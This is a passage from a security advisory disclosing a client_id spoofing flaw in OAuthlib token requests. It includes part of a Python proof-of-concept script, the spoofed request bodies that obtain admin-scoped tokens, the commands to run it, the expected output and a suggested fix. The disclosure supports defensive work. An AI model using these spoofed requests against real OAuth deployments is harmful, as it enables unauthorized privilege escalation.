Advisory

GHSA-7984-qgvg-3j9c

Details, part 2 of 2. The advisory

Details

raise SystemExit(f"{label}: expected admin scope, got {response}")

saved = validator.saved_tokens[-1]
if saved["authenticated_client_id"] != "low":
raise SystemExit(f"{label}: authenticated client changed unexpectedly: {saved}")
if saved["request_client_id"] != "high":
raise SystemExit(f"{label}: spoofed request client_id was not preserved: {saved}")

assert_rejected(
"control client_credentials as low requesting admin",
"grant_type=client_credentials&client_id=low&scope=admin",
)
assert_spoofed_success(
"spoofed client_credentials as low with client_id=high",
"grant_type=client_credentials&client_id=high&scope=admin",
)

assert_rejected(
"control password as low requesting admin",
"grant_type=password&client_id=low&username=alice&password=wonderland&scope=admin",
)
assert_spoofed_success(
"spoofed password as low with client_id=high",
"grant_type=password&client_id=high&username=alice&password=wonderland&scope=admin",
)

print("OAUTHLIB_CLIENT_ID_SPOOFING_CONFIRMED")
print(json.dumps(validator.saved_tokens, indent=2, sort_keys=True))


Run:

```bash
python -m venv .venv
. .venv/bin/activate
python -m pip install -r requirements.txt
python repro.py

Expected result:

control client_credentials as low requesting admin 400 {'error': 'invalid_scope'}
spoofed client_credentials as low with client_id=high 200 {'access_token': '...', 'expires_in': 3600, 'token_type': 'Bearer', 'scope': 'admin'}
control password as low requesting admin 400 {'error': 'invalid_scope'}
spoofed password as low with client_id=high 200 {'access_token': '...', 'expires_in': 3600, 'token_type': 'Bearer', 'scope': 'admin', 'refresh_token': '...'}
OAUTHLIB_CLIENT_ID_SPOOFING_CONFIRMED

The success condition is that both successful token responses are produced while the saved token state shows:

{
  "authenticated_client_id": "low",
  "request_client_id": "high",
  "scopes": ["admin"]
}

That demonstrates that the authenticated client is low, while grant and scope authorization used the attacker-supplied client_id=high.

Suggested Remediation

After client authentication succeeds, OAuthlib should reject a token request if an explicit request client_id is present and does not match request.client.client_id.

For authenticated confidential-client flows, a safer invariant is:

if request.client is not None:
    if request.client_id is not None and request.client_id != request.client.client_id:
        raise InvalidClientError(...)
    request.client_id = request.client.client_id

This should happen before validate_grant_type() and validate_scopes() are called.

Reporters:

Sources & licences